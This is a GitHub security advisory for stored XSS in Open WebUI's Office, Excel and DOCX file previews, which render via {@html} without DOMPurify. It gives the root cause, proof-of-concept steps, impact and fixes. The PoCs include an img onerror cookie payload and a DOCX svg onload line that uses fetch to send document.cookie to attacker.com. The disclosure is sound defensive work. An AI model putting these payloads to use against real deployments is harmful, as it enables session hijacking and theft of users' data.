GHSA-HCWP-82G6-8WXC
Vulnerability from github – Published: 2026-05-14 20:18 – Updated: 2026-05-19 15:58Related advisory
This advisory tracks a regression of the original Excel-preview XSS that was
publicly disclosed and patched under GHSA-jwf8-pv5p-vhmc
(patched in v0.8.0). The same root cause — XLSX.utils.sheet_to_html() output
rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime
after v0.8.0 and is exploitable again as of v0.8.12 and through the version
range listed above. This advisory additionally covers the related
fileOfficeHtml sink in src/lib/components/chat/FileNav.svelte
(lines 458 and 1285) which was not part of the jwf8 advisory's scope.
Summary
Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's {@html} directive without DOMPurify sanitization. While the codebase has DOMPurify available and uses it in 9 out of 23 {@html} locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.
This is a classic defense propagation failure: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.
Root Cause
The defense primitive exists: DOMPurify.sanitize() is imported and used in components like General.svelte, MarkdownInlineTokens.svelte, Banner.svelte, and SVGPanZoom.svelte.
But 3 file-preview paths skip it:
Occurrence 1: FilePreview.svelte — Office HTML
File: src/lib/components/chat/FileNav/FilePreview.svelte line 324
{:else if fileOfficeHtml !== null}
<div class="office-preview overflow-auto flex-1 min-h-0">
{@html fileOfficeHtml} <!-- NO DOMPurify! -->
</div>
fileOfficeHtml is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.
Occurrence 2: FileItemModal.svelte — Excel HTML
File: src/lib/components/common/FileItemModal.svelte line 560
{@html excelHtml} <!-- NO DOMPurify! -->
excelHtml is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.
Occurrence 3: FileItemModal.svelte — DOCX HTML
File: src/lib/components/common/FileItemModal.svelte line 590
{@html docxHtml} <!-- NO DOMPurify! -->
docxHtml is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.
Contrast with Sanitized Paths
For comparison, the same codebase correctly sanitizes in other locations:
<!-- MarkdownInlineTokens.svelte:130 — SAFE -->
{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}
<!-- General.svelte:276 — SAFE -->
{@html DOMPurify.sanitize($config?.license_metadata?.html)}
<!-- Banner.svelte:103 — SAFE -->
{@html DOMPurify.sanitize(marked.parse(...))}
Defense Propagation Gap
| Metric | Value |
|---|---|
Total {@html} usages |
23 |
| With DOMPurify | 9 (39%) |
| Without DOMPurify | 14 (61%) |
| Confirmed exploitable (file preview) | 3 |
The remaining 11 unsanitized {@html} usages include syntax highlighting (hljs), KaTeX math rendering, and marked.parse() with sanitizeResponseContent() pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application.
Tested Version
- Open WebUI v0.8.12 (commit
9bd8425, tagv0.8.12)
Steps to Reproduce
PoC 1: Malicious Excel File
-
Create a
.xlsxfile with a cell containing:<img src=x onerror="alert(document.cookie)">(Using a library like openpyxl to inject raw HTML into cell values) -
Upload the file to Open WebUI via the chat file upload
-
When any user previews the file →
excelHtmlrenders the injected HTML → XSS fires
PoC 2: Malicious DOCX File
-
Create a
.docxfile with embedded HTML:xml <w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r> -
Upload to Open WebUI
-
File preview renders
docxHtml→ XSS fires
PoC 3: Verify Rendering Path
// In browser devtools on Open WebUI, after uploading a file:
// The file preview component renders:
// FileItemModal → {@html excelHtml} // no DOMPurify
// FileItemModal → {@html docxHtml} // no DOMPurify
// FilePreview → {@html fileOfficeHtml} // no DOMPurify
// Compare with safe path:
// NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))} // sanitized!
Impact
- Stored XSS — malicious file is stored server-side, XSS fires for every user who previews it
- Session hijacking via
document.cookietheft - Account takeover — attacker can perform actions as the victim user
- Data exfiltration — read chat history, API keys, uploaded documents
- Multi-user environments — shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)
- Defense propagation failure — DOMPurify is available and used elsewhere, but not applied to file preview paths
Suggested Remediation
Apply DOMPurify to all three file preview paths:
<!-- FilePreview.svelte:324 — FIX -->
{@html DOMPurify.sanitize(fileOfficeHtml)}
<!-- FileItemModal.svelte:560 — FIX -->
{@html DOMPurify.sanitize(excelHtml)}
<!-- FileItemModal.svelte:590 — FIX -->
{@html DOMPurify.sanitize(docxHtml)}
Alternatively, adopt a defense-by-default pattern: create a wrapper component that always applies DOMPurify, making unsanitized {@html} usage a code review flag.
References
- CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
- OWASP XSS Prevention Cheat Sheet
- GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.2"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45318"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:18:27Z",
"nvd_published_at": "2026-05-15T22:16:54Z",
"severity": "MODERATE"
},
"details": "## Related advisory\n\nThis advisory tracks a regression of the original Excel-preview XSS that was \npublicly disclosed and patched under [GHSA-jwf8-pv5p-vhmc](https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc) \n(patched in v0.8.0). The same root cause \u2014 `XLSX.utils.sheet_to_html()` output \nrendered via `{@html excelHtml}` without DOMPurify \u2014 was reintroduced sometime \nafter v0.8.0 and is exploitable again as of v0.8.12 and through the version \nrange listed above. This advisory additionally covers the related \n`fileOfficeHtml` sink in `src/lib/components/chat/FileNav.svelte` \n(lines 458 and 1285) which was not part of the jwf8 advisory\u0027s scope.\n\n## Summary\n\nOpen WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte\u0027s `{@html}` directive **without DOMPurify sanitization**. While the codebase has DOMPurify available and uses it in 9 out of 23 `{@html}` locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.\n\nThis is a classic **defense propagation failure**: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.\n\n## Root Cause\n\n**The defense primitive exists**: `DOMPurify.sanitize()` is imported and used in components like `General.svelte`, `MarkdownInlineTokens.svelte`, `Banner.svelte`, and `SVGPanZoom.svelte`.\n\n**But 3 file-preview paths skip it**:\n\n### Occurrence 1: FilePreview.svelte \u2014 Office HTML\n\n**File**: `src/lib/components/chat/FileNav/FilePreview.svelte` line 324\n\n```svelte\n{:else if fileOfficeHtml !== null}\n \u003cdiv class=\"office-preview overflow-auto flex-1 min-h-0\"\u003e\n {@html fileOfficeHtml} \u003c!-- NO DOMPurify! --\u003e\n \u003c/div\u003e\n```\n\n`fileOfficeHtml` is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.\n\n### Occurrence 2: FileItemModal.svelte \u2014 Excel HTML\n\n**File**: `src/lib/components/common/FileItemModal.svelte` line 560\n\n```svelte\n{@html excelHtml} \u003c!-- NO DOMPurify! --\u003e\n```\n\n`excelHtml` is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.\n\n### Occurrence 3: FileItemModal.svelte \u2014 DOCX HTML\n\n**File**: `src/lib/components/common/FileItemModal.svelte` line 590\n\n```svelte\n{@html docxHtml} \u003c!-- NO DOMPurify! --\u003e\n```\n\n`docxHtml` is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.\n\n## Contrast with Sanitized Paths\n\nFor comparison, the same codebase correctly sanitizes in other locations:\n\n```svelte\n\u003c!-- MarkdownInlineTokens.svelte:130 \u2014 SAFE --\u003e\n{@html DOMPurify.sanitize(token.text, { ADD_ATTR: [\u0027target\u0027] })}\n\n\u003c!-- General.svelte:276 \u2014 SAFE --\u003e\n{@html DOMPurify.sanitize($config?.license_metadata?.html)}\n\n\u003c!-- Banner.svelte:103 \u2014 SAFE --\u003e\n{@html DOMPurify.sanitize(marked.parse(...))}\n```\n\n## Defense Propagation Gap\n\n| Metric | Value |\n|--------|-------|\n| Total `{@html}` usages | 23 |\n| With DOMPurify | 9 (39%) |\n| **Without DOMPurify** | **14 (61%)** |\n| Confirmed exploitable (file preview) | **3** |\n\nThe remaining 11 unsanitized `{@html}` usages include syntax highlighting (`hljs`), KaTeX math rendering, and `marked.parse()` with `sanitizeResponseContent()` pre-processing \u2014 these have varying levels of inherent safety but still represent inconsistent defense application.\n\n## Tested Version\n\n- Open WebUI v0.8.12 (commit `9bd8425`, tag `v0.8.12`)\n\n## Steps to Reproduce\n\n### PoC 1: Malicious Excel File\n\n1. Create a `.xlsx` file with a cell containing:\n ```\n \u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n ```\n (Using a library like openpyxl to inject raw HTML into cell values)\n\n2. Upload the file to Open WebUI via the chat file upload\n\n3. When any user previews the file \u2192 `excelHtml` renders the injected HTML \u2192 **XSS fires**\n\n### PoC 2: Malicious DOCX File\n\n1. Create a `.docx` file with embedded HTML:\n ```xml\n \u003cw:r\u003e\u003cw:t\u003e\u003c![CDATA[\u003csvg onload=\"fetch(\u0027https://attacker.com/steal?c=\u0027+document.cookie)\"\u003e]]\u003e\u003c/w:t\u003e\u003c/w:r\u003e\n ```\n\n2. Upload to Open WebUI\n\n3. File preview renders `docxHtml` \u2192 **XSS fires**\n\n### PoC 3: Verify Rendering Path\n\n```javascript\n// In browser devtools on Open WebUI, after uploading a file:\n// The file preview component renders:\n// FileItemModal \u2192 {@html excelHtml} // no DOMPurify\n// FileItemModal \u2192 {@html docxHtml} // no DOMPurify\n// FilePreview \u2192 {@html fileOfficeHtml} // no DOMPurify\n\n// Compare with safe path:\n// NotebookView \u2192 {@html DOMPurify.sanitize(toStr(output.data[\u0027text/html\u0027]))} // sanitized!\n```\n\n## Impact\n\n- **Stored XSS** \u2014 malicious file is stored server-side, XSS fires for every user who previews it\n- **Session hijacking** via `document.cookie` theft\n- **Account takeover** \u2014 attacker can perform actions as the victim user\n- **Data exfiltration** \u2014 read chat history, API keys, uploaded documents\n- **Multi-user environments** \u2014 shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)\n- **Defense propagation failure** \u2014 DOMPurify is available and used elsewhere, but not applied to file preview paths\n\n## Suggested Remediation\n\nApply DOMPurify to all three file preview paths:\n\n```svelte\n\u003c!-- FilePreview.svelte:324 \u2014 FIX --\u003e\n{@html DOMPurify.sanitize(fileOfficeHtml)}\n\n\u003c!-- FileItemModal.svelte:560 \u2014 FIX --\u003e\n{@html DOMPurify.sanitize(excelHtml)}\n\n\u003c!-- FileItemModal.svelte:590 \u2014 FIX --\u003e\n{@html DOMPurify.sanitize(docxHtml)}\n```\n\nAlternatively, adopt a **defense-by-default pattern**: create a wrapper component that always applies DOMPurify, making unsanitized `{@html}` usage a code review flag.\n\n## References\n\n- CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)\n- OWASP XSS Prevention Cheat Sheet\n- GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)",
"id": "GHSA-hcwp-82g6-8wxc",
"modified": "2026-05-19T15:58:48Z",
"published": "2026-05-14T20:18:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-hcwp-82g6-8wxc"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45318"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI has stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.